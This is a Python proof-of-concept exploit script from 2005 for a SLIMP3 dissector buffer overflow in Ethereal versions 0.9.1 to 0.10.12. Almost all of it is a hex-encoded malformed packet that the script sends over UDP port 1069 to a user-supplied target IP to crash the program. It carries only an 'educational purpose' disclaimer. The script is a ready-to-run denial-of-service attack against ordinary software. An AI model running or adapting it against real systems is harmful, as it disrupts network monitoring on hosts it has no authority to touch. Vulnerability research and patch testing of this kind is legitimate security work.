# Ethereal SLIMP3 Remote Buffer Overflow PoC # Bug Discoverd by Vendor(?)2005-10-19 # Coded by Sowhat # http://secway.org # 2005-10-20 # This PoC will crash the Ethereal # Tested with Ethereal 0.10.12, WinPcap 3.1 beta4, WinXP SP2 # For educational purpose only, Use at your own risk! # Version 0.9.1 to 0.10.12 # http://www.ethereal.com/docs/release-notes/ethereal-0.10.13.html # "The SLIMP3 dissector could overflow a buffer. " import sys import string import socket if (len(sys.argv) != 2): print " ###########################################" print " # #" print " # Ethereal SLIMP3 Remote Buffer Overflow PoC #" print " # Coded by Sowhat #" print " # http://secway.org #" print " ###########################################" print "\n Usage: " + sys.argv[0] + " TargetIP" print " TargetIP should be any IP address Ethereal can reach" sys.exit(0) host = sys.argv[1] port = 1069 victim = (host, port) request = "\x6C\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" request += "\xFF\xFF\x00\x00\x01\x00\x00\x00\x56\x57\xF7\x42\x5B\x6A\x04\x00" request += "\x58\x01\x00\x00\x58\x01\x00\x00\x00\x04\x20\x04\x19\xA2\x00\x0C" request += "\x6E\xE3\xB7\xC7\x08\x00\x45\x00\x01\x4A\xB4\x6C\x40\x00\x40\x11" request += "\x03\x79\xC0\xA8\x00\x0A\xC0\xA8\x00\x63\x0D\x9B\x0D\x9B\x01\x36" request += "\x83\x05\x6C\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" request += "\x20\x20\x20\x20\x02\x33\x02\x00\x02\x30\x03\x03\x02\x40\x03\x10" request += "\x03\x10\x03\x10\x03\x10\x03\x10\x03\x10\x03\x10\x03\x00\x02\x58" request += "\x03\x10\x03\x10\x03\x08\x03\x04\x03\x02\x03\x01\x03\x01\x03\x00" request += "\x02\x60\x03\x7F\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00" request += "\x03\x00\x02\x68\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01" request += "\x03\x01\x03\x00\x02\x50\x03\x01\x03\x01\x03\x02\x03\x04\x03\x08" request += "\x03\x10\x03\x10\x03\x00\x02\x48\x03\x01\x03\x02\x03\x04\x03\x08" request += "\x03\x10\x03\x10\x03\x1F\x03\x00\x02\x06\x02\x02\x02\x0C\x03\x20" request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20" request += "\x03\x20\x03\x20\x03\x02\x03\x00\x03\x05\x03\x5F\x03\x00\x03\x2E" request += "\x03\x02\x03\x04\x03\x03\x03\x02\x03\x04\x03\x03\x03\x2E\x03\x02" request += "\x03\x04\x03\x03\x03\x20\x03\x01\x03\x20\x03\x20\x03\x20\x03\x20" request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x02\xC0" request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20" request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x00\x03\x20\x03\x20\x03\x00" request += "\x03\x2E\x03\x03\x03\x5F\x03\x02\x03\x03\x03\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03" request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04" request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01" request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01" request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02" request += "\x03\x04\x01\x5F" s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.sendto(request, victim) print " Ethereal should be crashed ! ;)"